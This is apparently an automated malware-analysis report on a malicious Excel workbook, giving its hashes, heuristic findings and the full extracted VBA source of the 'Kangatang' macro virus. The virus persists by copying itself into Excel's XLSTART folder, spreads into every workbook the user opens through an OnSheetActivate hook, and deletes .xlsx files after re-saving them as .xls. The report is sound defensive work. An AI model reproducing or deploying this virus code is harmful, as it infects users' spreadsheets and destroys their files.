Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 3ff3d312074c7b73…

MALICIOUS

Office (OLE) / .XLS

2.26 MB Created: 2018-04-13 09:46:00 Authoring application: Microsoft Excel First seen: 2026-06-28
MD5: 0ce3c627a6d0514fc122914f8ca2f041 SHA-1: 46558ce4497d9494d32d4a09c543c5bed4f559a2 SHA-256: 3ff3d312074c7b73c69e2b3e9c8a99074b1fd8dca2eb779e2826aa1285ac284d
116 Risk Score

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Auto_Close()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1459 bytes
SHA-256: 9028ad8e3976ba6524cfad42f89e4260d75f376e1ebfc0e31604930c67d5e114
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs FileName:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs FileName:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

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